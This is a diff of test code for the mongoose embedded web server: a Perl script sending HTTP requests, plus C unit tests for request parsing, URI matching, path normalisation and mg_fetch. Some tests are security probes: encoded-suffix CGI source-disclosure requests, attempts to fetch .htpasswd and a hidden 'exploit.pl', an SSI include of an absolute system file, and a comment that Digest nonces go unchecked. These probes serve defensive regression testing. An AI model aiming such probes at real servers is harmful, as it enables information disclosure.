o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
|
||||
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
|
||||
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
|
||||
mkdir $test_dir . $dir_separator . 'x';
|
||||
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
|
||||
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
|
||||
chmod(0755, $path);
|
||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
|
||||
'index.cgi execution');
|
||||
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
|
||||
"SCRIPT_FILENAME=test/test_dir/x/index.cgi", 'SCRIPT_FILENAME');
|
||||
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
|
||||
'Aliases SCRIPT_NAME');
|
||||
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
|
||||
'No keep-alive');
|
||||
|
||||
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
|
||||
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
|
||||
write_file($path, "#!../../myperl\n" .
|
||||
"print \"Content-Type: text/plain\\n\\nhi\";");
|
||||
chmod(0755, $path);
|
||||
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
|
||||
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
|
||||
|
||||
my $mime_types = {
|
||||
html => 'text/html',
|
||||
htm => 'text/html',
|
||||
txt => 'text/plain',
|
||||
unknown_extension => 'text/plain',
|
||||
js => 'application/x-javascript',
|
||||
css => 'text/css',
|
||||
jpg => 'image/jpeg',
|
||||
c => 'text/plain',
|
||||
'tar.gz' => 'blah',
|
||||
bar => 'foo/bar',
|
||||
baz => 'foo',
|
||||
};
|
||||
|
||||
foreach my $key (keys %$mime_types) {
|
||||
my $filename = "_mime_file_test.$key";
|
||||
write_file("$root/$filename", '');
|
||||
o("GET /$filename HTTP/1.0\n\n",
|
||||
"Content-Type: $mime_types->{$key}", ".$key mime type");
|
||||
unlink "$root/$filename";
|
||||
}
|
||||
|
||||
# Get binary file and check the integrity
|
||||
my $binary_file = 'binary_file';
|
||||
my $f2 = '';
|
||||
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
|
||||
write_file("$root/$binary_file", $f2);
|
||||
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
|
||||
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
|
||||
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
|
||||
|
||||
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
|
||||
"Range: bytes=3-5\r\n\r\n";
|
||||
o($range_request, '206 Partial Content', 'Range: 206 status code');
|
||||
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
|
||||
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
|
||||
o($range_request, '\nple$', 'Range: body content');
|
||||
|
||||
# Test directory sorting. Sleep between file creation for 1.1 seconds,
|
||||
# to make sure modification time are different.
|
||||
mkdir "$test_dir/sort";
|
||||
write_file("$test_dir/sort/11", 'xx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/aa", 'xxxx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/bb", 'xxx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/22", 'x');
|
||||
|
||||
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
|
||||
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
|
||||
'Directory listing (name, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
|
||||
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
|
||||
'Directory listing (name, descending)');
|
||||
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
|
||||
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
|
||||
'Directory listing (size, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
|
||||
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
|
||||
'Directory listing (size, descending)');
|
||||
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
|
||||
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
|
||||
'Directory listing (modification time, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
|
||||
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
|
||||
'Directory listing (modification time, descending)');
|
||||
|
||||
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
|
||||
# Check that .htpasswd file existence trigger authorization
|
||||
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
|
||||
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
|
||||
'.htpasswd - triggering auth on file request');
|
||||
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
|
||||
'.htpasswd - triggering auth on directory request');
|
||||
|
||||
# Test various funky things in an authentication header.
|
||||
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
|
||||
'401 Unauthorized', 'weird auth values should not cause crashes');
|
||||
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
|
||||
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
|
||||
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
|
||||
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
|
||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
|
||||
'.htpasswd is hidden from the directory list');
|
||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
|
||||
'hidden file is hidden from the directory list');
|
||||
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
|
||||
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
|
||||
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
|
||||
'^HTTP/1.1 404', 'hidden files must not be shown');
|
||||
unlink "$root/.htpasswd";
|
||||
|
||||
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
|
||||
o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
|
||||
'CGI Status code text');
|
||||
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
|
||||
'GET sh CGI file') unless on_windows();
|
||||
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
|
||||
'QUERY_STRING wrong');
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
||||
'var=HELLO', 'CGI POST wrong');
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
||||
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
|
||||
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
|
||||
'HTTP_MY_HDR=abc', 'HTTP_* env');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
|
||||
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
|
||||
|
||||
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
|
||||
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
|
||||
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
|
||||
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
|
||||
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
|
||||
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
|
||||
|
||||
# Check that CGI's current directory is set to script's directory
|
||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
||||
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
|
||||
$dir_separator . 'env.cgi');
|
||||
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
|
||||
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
|
||||
|
||||
# SSI tests
|
||||
o("GET /ssi1.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
|
||||
o("GET /ssi2.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
|
||||
my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
|
||||
o("GET /$ssi_exec HTTP/1.0\n\n",
|
||||
'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
|
||||
my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
|
||||
my $word = on_windows() ? 'boot loader' : 'root';
|
||||
o("GET /$abs_path HTTP/1.0\n\n",
|
||||
"ssi_begin.+$word.+ssi_end", 'SSI #include file= (absolute)');
|
||||
o("GET /ssi7.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
|
||||
o("GET /ssi8.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
|
||||
|
||||
# Manipulate the passwords file
|
||||
my $path = 'test_htpasswd';
|
||||
unlink $path;
|
||||
system("$exe -A $path a b c") == 0
|
||||
or fail("Cannot add user in a passwd file");
|
||||
system("$exe -A $path a b c2") == 0
|
||||
or fail("Cannot edit user in a passwd file");
|
||||
my $content = read_file($path);
|
||||
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
|
||||
unlink $path;
|
||||
|
||||
do_PUT_test();
|
||||
kill_spawned_child();
|
||||
do_unit_test();
|
||||
do_embedded_test();
|
||||
}
|
||||
|
||||
sub do_PUT_test {
|
||||
# This only works because mongoose currently doesn't look at the nonce.
|
||||
# It should really be rejected...
|
||||
my $auth_header = "Authorization: Digest username=guest, ".
|
||||
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
|
||||
"response=896327350763836180c61d87578037d9, qop=auth, ".
|
||||
"nc=00000002, cnonce=53eddd3be4e26a98\n";
|
||||
|
||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
|
||||
"HTTP/1.1 201 OK", 'PUT file, status 201');
|
||||
fail("PUT content mismatch")
|
||||
unless read_file("$root/a/put.txt") eq '1234567';
|
||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
|
||||
"HTTP/1.1 200 OK", 'PUT file, status 200');
|
||||
fail("PUT content mismatch")
|
||||
unless read_file("$root/a/put.txt") eq 'abcd';
|
||||
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
|
||||
"HTTP/1.1 411 Length Required", 'PUT 411 error');
|
||||
o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
|
||||
"$auth_header\nabcd",
|
||||
"HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
|
||||
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
|
||||
"$auth_header\nabcd",
|
||||
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
|
||||
}
|
||||
|
||||
sub do_unit_test {
|
||||
my $cmd = "cc -g -W -Wall -o $unit_test_exe $root/unit_test.c -I. ".
|
||||
"-pthread -DNO_SSL ";
|
||||
if (on_windows()) {
|
||||
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
|
||||
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
|
||||
}
|
||||
print $cmd, "\n";
|
||||
system($cmd) == 0 or fail("Cannot compile unit test");
|
||||
system($unit_test_exe) == 0 or fail("Unit test failed!");
|
||||
}
|
||||
|
||||
sub do_embedded_test {
|
||||
my $cmd = "cc -W -Wall -o $embed_exe $root/embed.c mongoose.c -I. ".
|
||||
"-pthread -DNO_SSL -DLISTENING_PORT=\\\"$port\\\"";
|
||||
if (on_windows()) {
|
||||
$cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
|
||||
"/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
|
||||
}
|
||||
print $cmd, "\n";
|
||||
system($cmd) == 0 or fail("Cannot compile embedded unit test");
|
||||
|
||||
spawn("./$embed_exe");
|
||||
o("GET /test_get_header HTTP/1.0\nHost: blah\n\n",
|
||||
'Value: \[blah\]', 'mg_get_header', 0);
|
||||
o("GET /test_get_var?a=b&my_var=foo&c=d HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 1', 0);
|
||||
o("GET /test_get_var?my_var=foo&c=d HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 2', 0);
|
||||
o("GET /test_get_var?a=b&my_var=foo HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 3', 0);
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
||||
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 4', 0);
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 18\n\n".
|
||||
"a=b&my_var=foo&c=d", 'Value: \[foo\]', 'mg_get_var 5', 0);
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 14\n\n".
|
||||
"a=b&my_var=foo", 'Value: \[foo\]', 'mg_get_var 6', 0);
|
||||
o("GET /test_get_var?a=one%2btwo&my_var=foo& HTTP/1.0\n\n",
|
||||
'Value: \[foo\]', 'mg_get_var 7', 0);
|
||||
o("GET /test_get_var?my_var=one%2btwo&b=two%2b HTTP/1.0\n\n",
|
||||
'Value: \[one\+two\]', 'mg_get_var 8', 0);
|
||||
|
||||
# + in form data MUST be decoded to space
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
||||
"my_var=b+c", 'Value: \[b c\]', 'mg_get_var 9', 0);
|
||||
|
||||
# Test that big POSTed vars are not truncated
|
||||
my $my_var = 'x' x 64000;
|
||||
o("POST /test_get_var HTTP/1.0\nContent-Length: 64007\n\n".
|
||||
"my_var=$my_var", 'Value size: \[64000\]', 'mg_get_var 10', 0);
|
||||
|
||||
# Other methods should also work
|
||||
o("PUT /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
|
||||
"my_var=foo", 'Value: \[foo\]', 'mg_get_var 11', 0);
|
||||
|
||||
o("POST /test_get_request_info?xx=yy HTTP/1.0\nFoo: bar\n".
|
||||
"Content-Length: 3\n\na=b",
|
||||
'Method: \[POST\].URI: \[/test_get_request_info\].'.
|
||||
'HTTP version: \[1.0\].HTTP header \[Foo\]: \[bar\].'.
|
||||
'HTTP header \[Content-Length\]: \[3\].'.
|
||||
'Query string: \[xx=yy\].'.
|
||||
'Remote IP: \[\d+\].Remote port: \[\d+\].'.
|
||||
'Remote user: \[\]'
|
||||
, 'request_info', 0);
|
||||
o("GET /not_exist HTTP/1.0\n\n", 'Error: \[404\]', '404 handler', 0);
|
||||
o("bad request\n\n", 'Error: \[400\]', '* error handler', 0);
|
||||
# o("GET /foo/secret HTTP/1.0\n\n",
|
||||
# '401 Unauthorized', 'mg_protect_uri', 0);
|
||||
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=bill\n\n",
|
||||
# '401 Unauthorized', 'mg_protect_uri (bill)', 0);
|
||||
# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=joe\n\n",
|
||||
# '200 OK', 'mg_protect_uri (joe)', 0);
|
||||
|
||||
kill_spawned_child();
|
||||
}
|
||||
|
||||
print "SUCCESS! All tests passed.\n";
|
||||
@@ -1,12 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
# Make stdout unbuffered
|
||||
use FileHandle;
|
||||
STDOUT->autoflush(1);
|
||||
|
||||
# This script outputs some content, then sleeps for 5 seconds, then exits.
|
||||
# Web server should return the content immediately after it is sent,
|
||||
# not waiting until the script exits.
|
||||
print "Content-Type: text/html\r\n\r\n";
|
||||
print "Some data";
|
||||
sleep 3;
|
||||
@@ -1,206 +0,0 @@
|
||||
#include "mongoose.c"
|
||||
|
||||
#define FATAL(str, line) do { \
|
||||
printf("Fail on line %d: [%s]\n", line, str); \
|
||||
abort(); \
|
||||
} while (0)
|
||||
#define ASSERT(expr) do { if (!(expr)) FATAL(#expr, __LINE__); } while (0)
|
||||
|
||||
static void test_parse_http_request() {
|
||||
struct mg_request_info ri;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
|
||||
|
||||
ASSERT(parse_http_request(req1, sizeof(req1), &ri) == sizeof(req1) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 0);
|
||||
|
||||
ASSERT(parse_http_request(req2, sizeof(req2), &ri) == -1);
|
||||
ASSERT(parse_http_request(req3, sizeof(req3), &ri) == -1);
|
||||
|
||||
// TODO(lsm): Fix this. Header value may span multiple lines.
|
||||
ASSERT(parse_http_request(req4, sizeof(req4), &ri) == sizeof(req4) - 1);
|
||||
ASSERT(ri.num_headers == 3);
|
||||
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
|
||||
|
||||
// TODO(lsm): add more tests.
|
||||
}
|
||||
|
||||
static void test_should_keep_alive(void) {
|
||||
struct mg_connection conn;
|
||||
struct mg_context ctx;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "GET / HTTP/1.0\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
|
||||
|
||||
memset(&conn, 0, sizeof(conn));
|
||||
conn.ctx = &ctx;
|
||||
parse_http_request(req1, sizeof(req1), &conn.request_info);
|
||||
|
||||
ctx.config[ENABLE_KEEP_ALIVE] = "no";
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
ctx.config[ENABLE_KEEP_ALIVE] = "yes";
|
||||
ASSERT(should_keep_alive(&conn) == 1);
|
||||
|
||||
conn.must_close = 1;
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
conn.must_close = 0;
|
||||
parse_http_request(req2, sizeof(req2), &conn.request_info);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_request(req3, sizeof(req3), &conn.request_info);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_request(req4, sizeof(req4), &conn.request_info);
|
||||
ASSERT(should_keep_alive(&conn) == 1);
|
||||
|
||||
conn.request_info.status_code = 401;
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
conn.request_info.status_code = 200;
|
||||
conn.must_close = 1;
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
}
|
||||
|
||||
static void test_match_prefix(void) {
|
||||
ASSERT(match_prefix("/api", 4, "/api") == 4);
|
||||
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
|
||||
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
|
||||
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
|
||||
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
|
||||
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
|
||||
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("$", 1, "") == 0);
|
||||
ASSERT(match_prefix("$", 1, "x") == -1);
|
||||
ASSERT(match_prefix("*$", 2, "x") == 1);
|
||||
ASSERT(match_prefix("/$", 2, "/") == 1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("*", 1, "/hello/") == 0);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.a") == 6);
|
||||
}
|
||||
|
||||
static void test_remove_double_dots() {
|
||||
struct { char before[20], after[20]; } data[] = {
|
||||
{"////a", "/a"},
|
||||
{"/.....", "/."},
|
||||
{"/......", "/"},
|
||||
{"...", "..."},
|
||||
{"/...///", "/./"},
|
||||
{"/a...///", "/a.../"},
|
||||
{"/.x", "/.x"},
|
||||
#if defined(_WIN32)
|
||||
{"/\\", "/"},
|
||||
#else
|
||||
{"/\\", "/\\"},
|
||||
#endif
|
||||
{"/a\\", "/a\\"},
|
||||
};
|
||||
size_t i;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(data); i++) {
|
||||
//printf("[%s] -> [%s]\n", data[i].before, data[i].after);
|
||||
remove_double_dots_and_double_slashes(data[i].before);
|
||||
ASSERT(strcmp(data[i].before, data[i].after) == 0);
|
||||
}
|
||||
}
|
||||
|
||||
static const char *fetch_data = "hello world!\n";
|
||||
static void *event_handler(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
if (event == MG_NEW_REQUEST && !strcmp(request_info->uri, "/data")) {
|
||||
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Content-Type: text/plain\r\n\r\n"
|
||||
"%s", (int) strlen(fetch_data), fetch_data);
|
||||
return "";
|
||||
} else if (event == MG_EVENT_LOG) {
|
||||
printf("%s\n", request_info->log_message);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void test_mg_fetch(void) {
|
||||
static const char *options[] = {
|
||||
"document_root", ".",
|
||||
"listening_ports", "33796",
|
||||
NULL,
|
||||
};
|
||||
char buf[2000], buf2[2000];
|
||||
int length;
|
||||
struct mg_context *ctx;
|
||||
struct mg_request_info ri;
|
||||
const char *tmp_file = "temporary_file_name_for_unit_test.txt";
|
||||
struct mgstat st;
|
||||
FILE *fp;
|
||||
|
||||
ASSERT((ctx = mg_start(event_handler, NULL, options)) != NULL);
|
||||
|
||||
// Failed fetch, pass invalid URL
|
||||
ASSERT(mg_fetch(ctx, "localhost", tmp_file, buf, sizeof(buf), &ri) == NULL);
|
||||
ASSERT(mg_fetch(ctx, "localhost:33796", tmp_file,
|
||||
buf, sizeof(buf), &ri) == NULL);
|
||||
ASSERT(mg_fetch(ctx, "http://$$$.$$$", tmp_file,
|
||||
buf, sizeof(buf), &ri) == NULL);
|
||||
|
||||
// Failed fetch, pass invalid file name
|
||||
ASSERT(mg_fetch(ctx, "http://localhost:33796/data",
|
||||
"/this/file/must/not/exist/ever",
|
||||
buf, sizeof(buf), &ri) == NULL);
|
||||
|
||||
// Successful fetch
|
||||
ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/data",
|
||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
|
||||
ASSERT(ri.num_headers == 2);
|
||||
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
|
||||
ASSERT(!strcmp(ri.uri, "200"));
|
||||
ASSERT(!strcmp(ri.http_version, "OK"));
|
||||
ASSERT((length = ftell(fp)) == (int) strlen(fetch_data));
|
||||
fseek(fp, 0, SEEK_SET);
|
||||
ASSERT(fread(buf2, 1, length, fp) == (size_t) length);
|
||||
ASSERT(memcmp(buf2, fetch_data, length) == 0);
|
||||
fclose(fp);
|
||||
|
||||
// Fetch big file, mongoose.c
|
||||
ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/mongoose.c",
|
||||
tmp_file, buf, sizeof(buf), &ri)) != NULL);
|
||||
ASSERT(mg_stat("mongoose.c", &st) == 0);
|
||||
ASSERT(st.size == ftell(fp));
|
||||
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
|
||||
|
||||
remove(tmp_file);
|
||||
mg_stop(ctx);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
test_match_prefix();
|
||||
test_remove_double_dots();
|
||||
test_should_keep_alive();
|
||||
test_parse_http_request();
|
||||
test_mg_fetch();
|
||||
return 0;
|
||||
}
|
||||
+643
@@ -0,0 +1,643 @@
|
||||
// Unit test for the mongoose web server.
|
||||
// g++ -W -Wall -pedantic -g unit_test.c -lssl && ./a.out
|
||||
// cl unit_test.c /MD
|
||||
|
||||
#ifndef _WIN32
|
||||
#define MONGOOSE_USE_IPV6
|
||||
#define MONGOOSE_USE_SSL
|
||||
#endif
|
||||
#define MONGOOSE_USE_POST_SIZE_LIMIT 999
|
||||
|
||||
// USE_* definitions must be made before #include "mongoose.c" !
|
||||
#include "mongoose.c"
|
||||
|
||||
#define FAIL(str, line) do { \
|
||||
printf("Fail on line %d: [%s]\n", line, str); \
|
||||
return str; \
|
||||
} while (0)
|
||||
|
||||
#define ASSERT(expr) do { \
|
||||
static_num_tests++; \
|
||||
if (!(expr)) FAIL(#expr, __LINE__); \
|
||||
} while (0)
|
||||
|
||||
#define RUN_TEST(test) do { const char *msg = test(); \
|
||||
if (msg) return msg; } while (0)
|
||||
|
||||
#define HTTP_PORT "45772"
|
||||
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
|
||||
|
||||
static int static_num_tests = 0;
|
||||
|
||||
#if 0
|
||||
// Connects to host:port, and sends formatted request to it. Returns
|
||||
// malloc-ed reply and reply length, or NULL on error. Reply contains
|
||||
// everything including headers, not just the message body.
|
||||
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
|
||||
char buf[2000], *reply = NULL;
|
||||
int request_len, reply_size = 0, n, sock = -1;
|
||||
struct sockaddr_in sin;
|
||||
struct hostent *he = NULL;
|
||||
va_list ap;
|
||||
|
||||
if (host != NULL &&
|
||||
(he = gethostbyname(host)) != NULL &&
|
||||
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons((uint16_t) port);
|
||||
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
|
||||
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
|
||||
|
||||
// Format and send the request.
|
||||
va_start(ap, fmt);
|
||||
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
|
||||
va_end(ap);
|
||||
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
|
||||
request_len -= n;
|
||||
}
|
||||
if (request_len == 0) {
|
||||
*len = 0;
|
||||
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
|
||||
if (*len + n > reply_size) {
|
||||
// Leak possible
|
||||
reply = (char *) realloc(reply, reply_size + sizeof(buf));
|
||||
reply_size += sizeof(buf);
|
||||
}
|
||||
if (reply != NULL) {
|
||||
memcpy(reply + *len, buf, n);
|
||||
*len += n;
|
||||
}
|
||||
}
|
||||
}
|
||||
closesocket(sock);
|
